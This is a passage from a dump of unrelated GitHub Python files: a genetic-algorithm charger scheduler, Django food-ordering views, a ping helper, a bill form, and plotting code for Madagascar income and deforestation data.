sigma_k_next - 1) * max_energy_and_time + t_d\n max_energy_consumed_while_waiting_for_next_charge = max_waiting_time * consumption_energy_rate[refined_charging_sequence[i]]\n E_i_low = max_energy_consumed_while_waiting_for_next_charge - total_energy_comsumed_before\n # print('sigma_i_k: {}'.format(find_sigma_i_k_in_round(E_l, i, E_after_charging)[0]))\n # print('-----------')\n # E_i_high\n E_i_high = E_MAX - total_energy_comsumed_before\n\n # print(\"*********\")\n # print(\"DEBUG: {} - ({} - {}*{})\".format(E_MAX, e_i, total_time_before, consumption_energy_rate[refined_charging_sequence[i]]))\n # print(\"*********\")\n\n return E_i_low, E_i_high\n\ndef update_refine(E_l, e_init_of_node, total_time_before, index_last_node_charged_so_far, E_after_charging): \n h_l_k = len(find_index_of_avai_MCs(E_l))\n index_last_node_charged = index_last_node_charged_so_far\n i = index_last_node_charged_so_far + 1 # tiếp tục cập nhật\n cnt = 0\n while i < n_refine:\n if calculate_E_i_low_and_E_i_high(E_l, i, sigma_k_next, e_init_of_node[refined_charging_sequence[i]], total_time_before, E_after_charging)[0] < 0:\n charged[i] = 0\n else:\n index_last_node_charged = i\n cnt += 1\n if cnt == min(h_l_k, n_refine - index_last_node_charged_so_far - 1): \n break\n i += 1\n n_charged_before = 0 \n for i in range(index_last_node_charged_so_far + 1):\n if charged[i] == 1:\n n_charged_before += 1\n n_uncharged_before = index_last_node_charged_so_far - n_charged_before + 1\n return index_last_node_charged, n_charged_before, n_uncharged_before\n\ndef calculate_time_threshold(E_l, total_time_before, l, n_charged_before, n_uncharged_before, E_after_charging, n_refine): # theta_k_l: round l of cycle k\n threshold = 99999999\n h_l_k = len(find_index_of_avai_MCs(E_l))\n index_of_node_in_round_L = n_charged_before + n_uncharged_before + h_l_k-1 # +1 to +h_l_k\n tests = []\n for idx in range(h_l_k):\n tests.append(n_charged_before + n_uncharged_before + idx) \n left_rounds = []\n for test in tests:\n left_rounds.append(find_sigma_i_k_in_round(E_l, test, E_after_charging)[0])\n num_of_residual_rounds, sum_m_arr = find_sigma_i_k_in_round(E_l, index_of_node_in_round_L, E_after_charging) # include round L\n #num_of_residual_rounds -= 1 # exclude round L\n # print(\"*********\")\n # print(\"DEBUG\")\n # print (\"Số round còn lại: {}\".format(num_of_residual_rounds))\n # print(\"Kiểm tra số round còn lại với các node trong round hiện tại: 1 tới h_l_k: \")\n # for left_round in left_rounds:\n # print(left_round,end=' ')\n # print(\"\\n*********\")\n # print(\"DEBUG: THRESHOLD: num_of_residual_rounds: {}\".format(num_of_residual_rounds))\n for j in range(l+1, l + num_of_residual_rounds + 1):\n # print(\"DEBUG: THRESHOLD: j = {}\".format(j))\n v_j = n_charged_before + n_uncharged_before + min(n_refine-n_charged_before-n_uncharged_before-1, sum_m_arr[j-l-1]) #+ 1\n # print(\"DEBUG time threshold: v_j = {} + {} + {}\".format(n_charged_before, n_uncharged_before, sum_m_arr[j-l-1]))\n w_j = L_K[v_j] - total_time_before - (j - l) * max_energy_and_time - D_MAX / v\n # print(\"DEBUG time threshold: v_j = {}, w_j = {} - {} - {}*{}- {} \".format(v_j, L_K[v_j], total_time_before, (j-l), max_energy_and_time, D_MAX/v))\n if (w_j < 0):\n print(\"HERE\")\n threshold = min(threshold, w_j) \n return min(threshold, max_energy_and_time)\n\ndef calculate_total_time_for_round_L(q, t, g, h_k_l, p_k_l): \n res = 0\n for i in range(p_k_l):\n for j in range(h_k_l):\n if q[i][j].solution_value() > 0:\n # print(\"Node {}, time {} + {} \".format(new_index_node[i], t[i][j].solution_value(), g[i][j].solution_value()))\n res = max(res, t[i][j].solution_value() + g[i][j].solution_value())\n return res\n\ndef get_position_of_MCs_in_round_L(q,t,g,h_k_l,p_k_l, new_index_MC, new_index_node):\n position = defaultdict(int)\n for j in range(h_k_l):\n for i in range(p_k_l):\n if q[i][j].solution_value() > 0:\n position[new_index_MC[j]] = new_index_node[i]\n return position\n\n# Try solving the first round\nfrom omc_ga import *\n\nplot_e_k = []\ntotal_energy = 0\nround_energy = []\n\n\n# Bắt đầu mỗi cycle, tìm xem tới thơi điểm nào sẽ có node cần sạc: tức năng lượng ban đầu của mỗi node trong cycle đầu tiên\nnp.random.seed(61)\ne_k = np.random.uniform(low=2000, high=E_MAX, size=(N,)) # random nang luong khoi tao cua moi node o cycle dau\nconsumption_energy_rate = []\nfor i in range(N):\n random.seed(i+1)\n consumption_energy_rate.append(random.uniform(0.01, 0.1))\nconsumption_energy_rate = np.array(consumption_energy_rate)\nL_K = (e_k - E_MIN) / consumption_energy_rate # lifetime của các node chưa xếp theo thứ tự RCS\n# sắp xếp các node theo thứ tự tăng dần thời gian sống\ndata = [(l,idx) for (idx,l) in enumerate(L_K)]\ndata.sort(key=lambda tup: tup[0]) # sorts in place\ntmp = np.array(data)[:, 1].astype(int)\nconsumption_energy_rate = consumption_energy_rate[tmp]\ne_k = e_k[tmp]\nL_K = np.array(data)[:, 0]\ndynamic_e_k = np.copy(e_k) # to trace e_k after every round, used for t_l_max\n\n# print(\"Năng lượng tối đa dành cho di chuyển và sạc của 1 MC: {}\".format(max_energy_and_time))\n# print(\"------------\")\n# print(\"Năng lượng khởi tạo của mỗi Node (TẤT CẢ) Đà sắp xếp thứ tự theo lifetime, cùng consumption rate:\")\n# for index, value in enumerate(e_k):\n# print(\"\\tNode {}, energy {} -- rate {}\".format(index, value, consumption_energy_rate[index]))\n# print(\"Lifetime của mỗi Node (TẤT CẢ) theo thứ tự tăng dần:\")\n# for index, value in enumerate(L_K):\n# print(\"\\tNode {}, life time {}\".format(index, value))\n\n# print(\"------------\") \n# print(\"Bắt đầu giải\")\n# print(\"------------\")\n\nsigma_k, array_sum_avai_MCs_in_cycle_k = find_sigma_in_cycle(np.array([E]*M), N)\nsigma_k_next = sigma_k # giả sử năng lượng khởi tạo ở cycle k và k + 1 là bằng nhau\n# update Refined Charging Sequence\nis_charged = list_nodes_require_charging_in_cycle_k(sigma_k) # len N\nrefined_charging_sequence = [i for i in range(N) if is_charged[i] == 1] # INDICES of nodes require charging due to lemma 2.2; original index in L_K\n# suy ra\nn_refine = len(refined_charging_sequence)\nround_index = [0] * n_refine # Lưu lại round mà node sẽ được sạc: nhưng đây chỉ là kết quả dự đoán đầu mỗi cycle, được cập nhật lại khi update_refine\ncharged = [1] * n_refine # this array: to know which node in refined charging sequence requires charging (computed in the beginning of each round)\n\n# print(\"Ước lượng đầu mỗi Cycle:\")\n# print(\"\\tSigma_k: số round max ước lượng: {}\".format(sigma_k))\n# print(\"------------\")\nprint(\"\\tRefined charging sequence:\", end=\" \")\nfor index in refined_charging_sequence:\n print(index, end=\" \")\n# print(\"\\n\\tLength of RCS: {}\".format(n_refine))\n# print(\"-----------\")\n\nE_after_charging = E\nE_l = np.array([E] * M)\nindex_last_node_charged_so_far = -1\ntotal_time_before = 0\nposition = defaultdict(int)\nround_min_num_of_rounds = [608] * M\n\n# for round\nstart_cycle = time.time()\ncurrent_round = 0\nfinist_point = 10000\nwhile(index_last_node_charged_so_far < finist_point):\n start_round = time.time()\n list_avai_MCs = find_index_of_avai_MCs(E_l)\n h_k_l = len(list_avai_MCs)\n p_k_l = min(h_k_l, n_refine - index_last_node_charged_so_far - 1)\n # print(\"------------\")\n print(\"Thông số round {}:\".format(current_round))\n # print(\"\\tNhững MCs avai trong round {}, cùng năng lượng của chúng: \".format(current_round), end=\"\")\n # for index in list_avai_MCs:\n # print(\"{} - {}\".format(index, E_l[index]),end=\", \")\n # print(\"\\n\\th_k_l = {}, p_k_l = {}\".format(h_k_l, p_k_l))\n # print(\"\\n\\tThông tin về dynamic_e_k khi bắt đầu round {} (chứa tất cả các Node):\".format(current_round))\n # for i in range(len(dynamic_e_k)) :\n # print(\"\\t{}\".format(dynamic_e_k[i]), end=' ')\n # plot_e_k.append(d)\n # print(\"\\n\\tNăng lượng của các MC khi bắt đầu round {} (đang xét E_l, có thể đã phải về BS rồi)): \".format(current_round), end=' ')\n # for i in E_l:\n # print(\"{}\".format(i), end=' ')\n # print(\"\\n------------\")\n\n _,_,_ = update_refine(E_l, e_k, total_time_before, index_last_node_charged_so_far, E_after_charging)\n\n def create_new_index_node():\n new_index_node = [] # độ dài p_k_l; được tính lại sau mỗi round; ánh xạ sang node ở trong L_K\n cnt = 0\n i = index_last_node_charged_so_far + 1\n while(i < n_refine): # nhặt ra đủ p_k_l nodes trong RCS mà cần THỰC SỰ sạc\n if charged[i] == 1:\n new_index_node.append(refined_charging_sequence[i])\n cnt += 1\n else:\n print('Node {} không cần sạc'.format(refined_charging_sequence[i]),end=', ')\n i += 1\n if cnt == p_k_l: break \n return new_index_node\n new_index_node = create_new_index_node()\n p_k_l = min(p_k_l, len(new_index_node))\n print(\"\\tnew_index_node: \", new_index_node)\n # update p_k_l\n p_k_l = min(p_k_l, len(new_index_node))\n\n def create_new_index_MC():\n new_index_MC = [] # độ dài h_k_l; được tính lại sau mỗi round\n for j in range(h_k_l):\n new_index_MC.append(list_avai_MCs[j])\n return new_index_MC\n new_index_MC = create_new_index_MC()\n print(\"\\tnew_index_MC: \", new_index_MC)\n # print(\"------------\")\n\n def create_prev_pos_MC():\n prev_pos_MC = [] # gồm h_k_l phần từ\n for j in list_avai_MCs:\n if E_l[j] == E_after_charging:\n prev_pos_MC.append(N)\n else: \n prev_pos_MC.append(position[j])\n return prev_pos_MC\n prev_pos_MC = create_prev_pos_MC()\n\n def create_t_l_max():\n actual_e_min = min(dynamic_e_k)\n # actual_e_min = min(e_k)\n actual_max_time = (E_MAX - actual_e_min) / p_r\n # actual_e_min = min(e_k)\n actual_max_time = (E_MAX - actual_e_min) / p_r\n return [actual_max_time] * M\n t_l_max = create_t_l_max()\n\n # print(\"\\tINDEX_LAST_NODE_CHARGED_SO_FAR: {}\".format(index_last_node_charged_so_far))\n index_last_node_charged_so_far, n_charged_before, n_uncharged_before = update_refine(E_l, e_k, total_time_before, index_last_node_charged_so_far, E_after_charging)\n # print(\"\\tn_charged_before: {}, n_uncharged_before: {}\".format(n_charged_before, n_uncharged_before))\n theta_k_l = calculate_time_threshold(E_l, total_time_before, current_round, n_charged_before, n_uncharged_before, E_after_charging, n_refine)\n print(\"\\ttheta_k_l: {}\".format(theta_k_l))\n # print(\"------------\")\n\n def create_Elow_Ehigh():\n E_low = []\n E_high = []\n for i in new_index_node: # i ở đây đang là index trong RCS\n e_low, e_high = calculate_E_i_low_and_E_i_high(E_l, i, sigma_k_next, e_k[refined_charging_sequence[i]], total_time_before, E)\n E_low.append(e_low)\n E_high.append(e_high)\n return E_low, E_high\n E_low, E_high = create_Elow_Ehigh()\n # print('\\tE_low:', end=' ')\n # for el in E_low:\n # print(el, end=', ')\n # print('\\n\\tE_high:', end=' ')\n # for eh in E_high:\n # print(eh, end=', ')\n # print('\\n')\n\n # giải\n \n omc = Omc(h_k_l, p_k_l, distance, e, p0, v, E_high, E_low, theta_k_l, p_r, prev_pos_MC, new_index_node, new_index_MC, dynamic_e_k)\n position, time_for_this_round, consumed, obj = omc.generic_algorithm(pop_size=100, max_generation=300)\n\n total_energy += obj\n round_energy.append(obj)\n\n # cập nhật sau khi giải\n E_l = np.array(update_after_MPSP(list_avai_MCs, E_l, consumed, E_after_charging))\n # update total time before\n total_time_before += time_for_this_round\n # print(\"Time for round {}: {}\".format(current_round, time_for_this_round))\n # print(\"Total time so far: {}\".format(total_time_before))\n print(\"TIME FOR ROUND {}: {}\".format(current_round, time.time()-start_round))\n current_round += 1\n \n # find finish point\n for i in range(n_refine):\n if charged[n_refine-i-1] == 1:\n finist_point = refined_charging_sequence[n_refine - i - 1]\n break\n print(\"\\tINDEX_LAST_NODE_CHARGED_SO_FAR: {}\".format(index_last_node_charged_so_far))\n print(\"Finish point: {}\".format(finist_point))\n print(\"********GIẢI XONG ROUND*********\")\n \n\nprint(\"Kết thúc một cycle\")\n# print(\"Thông tin về dynamic_e_k khi kết thúc round cuối {} (chứa tất cả các Node): \".format(current_round))\n# for i in range(len(dynamic_e_k)):\n# print(\"\\t{}\".format(dynamic_e_k[i]), end=' ')\nprint(\"TIME: \", time.time()-start_cycle)\n\nprint(\"Total energy: \", total_energy)\nprint(\"Round energy:\", round_energy)","repo_name":"tunglamlqddb/20201","sub_path":"evolutionary_computing/GA.py","file_name":"GA.py","file_ext":"py","file_size_in_byte":18312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18505342043","text":"from django.shortcuts import render\nfrom django.core import serializers\nfrom django.contrib import messages\nfrom django.contrib.messages.views import SuccessMessageMixin\n\n\nfrom django.http import HttpResponse , HttpResponseRedirect , JsonResponse\n\nfrom django.views.generic import TemplateView , DetailView , CreateView\nfrom django.urls import reverse , reverse_lazy\n\n#for security views\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n# Create your views here.\n\nimport json\nfrom datetime import *\nfrom pedidos.models import Category, Type, SubMenu, Pedido, Items\nfrom users.models import User , Repartidor\n\n#Imports from form_class\nfrom pedidos.form import PedidoForm\n\nclass Welcome(LoginRequiredMixin,TemplateView):\n \"\"\"This view is first screen after login\n is important because here is instanced session[\"cart\"]\n \"\"\"\n\n template_name= \"pedidos/components/welcome.html\"\n\nclass IndexView(SuccessMessageMixin, LoginRequiredMixin, TemplateView):\n \"\"\"this view is index and all options in sidebar an other options\n \"\"\"\n template_name = \"pedidos/init.html\"\n login_url = '/login/'\n redirect_field_name = 'redirect_to'\n\n def get_context_data(self , *args, **kwargs):\n # list = self.request.session[\"cart\"]\n # self.request.session[\"cart\"] = []\n # print(list)\n today = date.today()\n categorys = Category.objects.all()\n session = self.request.session.session_key\n types = Type.objects.all()\n return {\"categorys\": categorys , \"types\":types , \"sesion\":session , \"list\":list , \"today\":today}\n\n\nclass DetailCategory(DetailView):\n template_name = \"pedidos/menu.html\"\n slug_field = 'name'\n slug_url_kwarg = 'name'\n queryset = Category.objects.all()\n context_object_name = 'menu'\n\n def get_context_data(self, *args , **kwargs):\n target = []\n context = super().get_context_data(**kwargs)\n category_id = self.get_object().pk\n context['types'] = Type.objects.filter(category=category_id).order_by('name')\n return context\n\nclass DetailMenu(DetailView):\n template_name = \"pedidos/menu_options.html\"\n slug_field = 'pk'\n slug_url_kwarg = 'pk'\n queryset = Type.objects.all()\n context_object_name = 'options'\n\n def get_context_data(self, *args , **kwargs):\n context = super().get_context_data(**kwargs)\n menu_id = self.get_object().pk\n context['types'] = SubMenu.objects.filter(type=menu_id).order_by('name')\n return context\n\n\ndef add_cart(request , cat , id_item):\n menu = cat\n id = id_item\n cart = []\n # cart = {}\n #se hace el query del elemento que se quiere agregar al carrito\n data = SubMenu.objects.get(type=menu , pk=id)\n #instancia de arreglo sessions para darle datos\n cart = request.session[\"cart\"]\n # cart.update({'pk':data.name})\n\n #se agrega la primary key del menu seleccionado\n cart.append(data.pk)\n # print(\"El carrito es este {}\".format(cart))\n # se agregar la instancia al lugar del arreglo\n request.session[\"cart\"] = cart\n # safeCart(request)\n messages.success(request, 'Se agrego {} a tu carrito'.format(data.name))\n return HttpResponseRedirect(reverse('index'))\n\ndef safeCart(request):\n data = request.session[\"cart\"]\n cart_dict = {}\n # cart = dict(enumerate(data))\n cart = dict(zip(range(len(data)), data))\n # print(\"DICCIONARIO REAL {}\".format(cart))\n for key,value in cart.items():\n print(value)\n item = SubMenu.objects.get(pk=value)\n # print(\"MENU: {} PRECIO: Q.{}\".format(item.name, item.price))\n menu = item.name\n precio = item.price\n cart_dict.update({key:precio})\n return cart_dict\n\ndef popCart(request , item):\n id = item\n data = request.session[\"cart\"]\n data.remove(id)\n request.session[\"cart\"] = data\n messages.success(request, \"SE ELIMINO ARTICULO DE TU LISTA DE CARRITO\")\n return HttpResponseRedirect(reverse('cart'))\n\ndef CreatePedido(request):\n from users.models import Repartidor\n total = 0\n user = User.objects.get(pk=request.user.pk)\n default = Repartidor.objects.get(pk=1)\n pedido = Pedido.objects.create(\n user = user,\n rep = default\n )\n pedido.save()\n id = 0\n items = request.session[\"cart\"]\n pedidos_user = Pedido.objects.filter(user=user).order_by('-create_at')\n last_pedido = pedidos_user[:1]\n for i in last_pedido:\n id = i.pk\n set_pedido = Pedido.objects.get(pk=id)\n for i in items:\n set_item = SubMenu.objects.get(pk=i)\n item_add = Items.objects.create(\n pedido = set_pedido,\n item= set_item\n )\n total += set_item.price\n item_add.save()\n update = Pedido.objects.filter(pk=id).update(total=total)\n request.session[\"cart\"] = []\n messages.success(request, \"TU PEDIDO SE CONFIRMO CORRECTAMENTE\")\n return HttpResponseRedirect(reverse('index'))\n\ndef cleanCart(request):\n request.session[\"cart\"] = []\n return HttpResponseRedirect(reverse('index'))\n\n\ndef safeCartName(request):\n data = request.session[\"cart\"]\n cart_name = {}\n # cart = dict(enumerate(data))\n cart = dict(zip(range(len(data)), data))\n for key,value in cart.items():\n item = SubMenu.objects.get(pk=value)\n menu = item.name\n cart_name.update({key:menu})\n print(\"AGREGANDO EL PRECIO\")\n return cart_name\n\ndef safeIdItem(request):\n data = request.session[\"cart\"]\n cart_id = {}\n # cart = dict(enumerate(data))\n cart = dict(zip(range(len(data)), data))\n for key,value in cart.items():\n item = SubMenu.objects.get(pk=value)\n menu = item.pk\n cart_id.update({key:menu})\n print(cart_id)\n return cart_id\n\ndef totalCart(data):\n cart = data\n total = 0\n for key,value in cart.items():\n print(\"Q{}\".format(value))\n total += value\n print(cart)\n print(total)\n return total\n\nclass CartView(TemplateView):\n template_name = 'pedidos/components/cart.html'\n \"\"\"\n # safeCartName - this fuction get item id and name of item for orders\n # safeCart - this fuction get item name and price for add in orders\n # safeIdItem -this futcion get id item for show in view\n # totalCart - calculate total price based in items in order\n \"\"\"\n\n def get_context_data(self , *args , **kwargs):\n # cart = self.request.session['cart']\n cart = safeCart(self.request)\n cart_name = safeCartName(self.request)\n cart_id = safeIdItem(self.request)\n total = totalCart(cart)\n print(cart)\n return {\"cart\":cart , \"total\":total , \"items_cart\":cart_name , \"cart_id\":cart_id}\n\n\nclass MyOrders(LoginRequiredMixin, TemplateView):\n template_name = \"pedidos/my_orders.html\"\n\n def get_context_data(self , *args , **kwargs):\n user = User.objects.get(pk=self.request.user.pk)\n my_orders = Pedido.objects.filter(user=user)\n last_orders = my_orders[:10]\n details = Items.objects.filter(pedido__status=True , pedido__user=user)\n return{\"orders\": last_orders , \"details\":details}\n\ndef calculateTotal(id):\n id_pedido = id\n\ndef DelivermanBusy():\n busy = Repartidor.objects.filter(active=True , busy=True)\n return busy\n\ndef DeliverymanNotBusy():\n free = Repartidor.objects.filter(active=True , busy=False)\n return free\n#\n\nclass Deliveryman(TemplateView):\n template_name = \"pedidos/delivery/delivermans.html\"\n\n def get_context_data(self , *args , **kwargs):\n delivermans = Repartidor.objects.filter(active=True)\n busy = DelivermanBusy()\n free = DeliverymanNotBusy()\n return {\"delivermans\":delivermans , \"busy\":busy , \"free\":DeliverymanNotBusy}\n\nclass MyDeliveris(TemplateView):\n template_name = \"pedidos/delivery/delivermans.html\"\n\n def get_context_data(self , *args , **kwargs):\n user = Repartidor.objects.get(user=self.request.user.pk)\n my_delivery = Pedido.objects.filter(status=True, rep=user)\n detail = Items.objects.filter(pedido__status=True)\n return{\"my_delivery\":my_delivery , \"detail\":detail}\n\nclass PendindDelivery(TemplateView):\n template_name = \"pedidos/delivery/not_delivery.html\"\n\n def get_context_data(self , *args , **kwargs):\n orders = Pedido.objects.filter(status=True,rep=1)\n return{\"orders\": orders}\n\nclass SendOrder(LoginRequiredMixin, SuccessMessageMixin , CreateView):\n login_url = '/login/'\n redirect_field_name = 'redirect_to'\n template_name = \"pedidos/send_order.html\"\n form_class = PedidoForm\n success = \"Tu pedido se realizo de forma correcta!\"\n success_url = reverse_lazy('index')\n\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n user = User.objects.get(pk=self.request.user.pk)\n rep = Repartidor.objects.get(user=1)\n self.object.user = user\n self.object.rep = rep\n self.object.save()\n return super(SendOrder, self).form_valid(form)\n\n\n\n# def add_cart(request , cat , id_item):\n# menu = cat\n# id = id_item\n# # search_filter = '\"type_id\":{0} , \"pk\":{1}'.format(menu, id)\n# p = SubMenu.objects.get(jsonfield__contains=search_filter)\n# list = request.session[\"cart\"]\n# list.append(p)\n# request.session[\"cart\"] = list\n# print(list)\n# return HttpResponseRedirect(reverse('index'))\n","repo_name":"AxelCM/LoHago","sub_path":"pedidos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16041708232","text":"import os\n\ndef ping(hostname):\n cmd = \"ping -c 1 %s\"%(hostname)\\\n + \" | grep icmp_seq\"\\\n + \" | awk '{print $8}'\" \\\n + \" | awk -F= '{print $2}'\"\n retStr = os.popen(cmd).read()\n try:\n return float(retStr)\n except:\n return 0x7fff\n\n\nif __name__ == \"__main__\":\n print(ping(\"baidu.com\"))\n\n","repo_name":"csu-ucas/Kits","sub_path":"MasterVoter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"72239180911","text":"from django import forms\n\n\nclass FormName(forms.Form):\n text = forms.CharField(widget=forms.Textarea,\n label=\"Enter bill string\",\n )\n total = forms.DecimalField(decimal_places=3,\n widget=forms.TimeInput(attrs={\"readonly\": \"readonly\"}),\n initial =f\"R {0.00}\",)","repo_name":"charl25/phone_bill","sub_path":"calculate_bill/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8311272313","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[10]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n\n# In[11]:\n\n\nincome_data = pd.read_excel('Localized (ranomafana) Households Income.xls')\ncrop=income_data.loc[4:8,['Income per year for a household into the Ranomafana region for 1 hecatre of land','Unnamed: 6']]\n\n\n# In[12]:\n\n\nlabels_1 = crop.iloc[0:5,0]\nsizes_1 = crop.iloc[0:5,1]\nfig = plt.figure(dpi=300)\nplt.bar(labels_1, sizes_1, color=('royalblue','royalblue','royalblue','royalblue','red'))\nplt.title('Coffee Brings More Wealth to Local Residents')\nplt.ylabel(\"Yearly Income per Household in $ \")\nplt.show()\n\n\n# In[13]:\n\n\nxls = pd.ExcelFile('MDG.xlsx')\ndf1 = pd.read_excel(xls, 'Country tree cover loss')\ndf2 = pd.read_excel(xls, 'Country biomass loss')\ndf3 = pd.read_excel(xls, 'Country co2 emissions')\n\n\n# In[14]:\n\n\narr1 = df1.iloc[4:5,-11:].values\narr2 = df2.iloc[4:5,-11:].values\narr3 = df3.iloc[4:5,-11:].values\nl1= arr1.tolist()\nl2= arr2.tolist()\nl3= arr3.tolist()\n\n\n# In[15]:\n\n\nfrom itertools import chain\nlist1 = list(chain.from_iterable(l1))\nprint(list1)\nlist2 = list(chain.from_iterable(l2))\nprint(list2)\nlist3 = list(chain.from_iterable(l3))\nprint(list3)\n\n\n# In[21]:\n\n\nx2=[2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018]\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list1, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list2, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list3, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Country Level\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[22]:\n\n\ndf4 = pd.read_excel(xls, 'Subnational 1 tree cover loss')\ndf5 = pd.read_excel(xls, 'Subnational 1 biomass loss')\ndf6 = pd.read_excel(xls, 'Subnational 1 co2 emissions')\n\n\n# In[23]:\n\n\ndf4_1 = df4[df4['threshold'].isin([30])]\ndf5_1 = df5[df5['threshold'].isin([30])]\ndf6_1 = df6[df6['threshold'].isin([30])]\nl4_1 = df4_1.iloc[0:1, np.r_[14:25]].values.tolist()\nl5_1 = df5_1.iloc[0:1, np.r_[15:26]].values.tolist()\nl6_1 = df6_1.iloc[0:1, np.r_[14:25]].values.tolist()\nlist4_1 = list(chain.from_iterable(l4_1))\nlist5_1 = list(chain.from_iterable(l5_1))\nlist6_1 = list(chain.from_iterable(l6_1))\n\n\n# In[24]:\n\n\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_1, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_1, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_1, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Antananarivo\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[25]:\n\n\nl4_2 = df4_1.iloc[1:2, np.r_[14:25]].values.tolist()\nl5_2 = df5_1.iloc[1:2, np.r_[15:26]].values.tolist()\nl6_2 = df6_1.iloc[1:2, np.r_[14:25]].values.tolist()\nlist4_2 = list(chain.from_iterable(l4_2))\nprint(list4_2)\nlist5_2 = list(chain.from_iterable(l5_2))\nlist6_2 = list(chain.from_iterable(l6_2))\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_2, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_2, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_2, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Antsiranana\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[26]:\n\n\nl4_3 = df4_1.iloc[2:3, np.r_[14:25]].values.tolist()\nl5_3 = df5_1.iloc[2:3, np.r_[15:26]].values.tolist()\nl6_3 = df6_1.iloc[2:3, np.r_[14:25]].values.tolist()\nlist4_3 = list(chain.from_iterable(l4_3))\nlist5_3 = list(chain.from_iterable(l5_3))\nlist6_3 = list(chain.from_iterable(l6_3))\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_3, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_3, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_3, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Fianarantsoa\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[27]:\n\n\nl4_4 = df4_1.iloc[3:4, np.r_[14:25]].values.tolist()\nl5_4 = df5_1.iloc[3:4, np.r_[15:26]].values.tolist()\nl6_4 = df6_1.iloc[3:4, np.r_[14:25]].values.tolist()\nlist4_4 = list(chain.from_iterable(l4_4))\nlist5_4 = list(chain.from_iterable(l5_4))\nlist6_4 = list(chain.from_iterable(l6_4))\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_4, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_4, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_4, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Mahajanga\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[28]:\n\n\nl4_5 = df4_1.iloc[4:5, np.r_[14:25]].values.tolist()\nl5_5 = df5_1.iloc[4:5, np.r_[15:26]].values.tolist()\nl6_5 = df6_1.iloc[4:5, np.r_[14:25]].values.tolist()\nlist4_5 = list(chain.from_iterable(l4_5))\nlist5_5 = list(chain.from_iterable(l5_5))\nlist6_5 = list(chain.from_iterable(l6_5))\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_5, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_5, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_5, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - 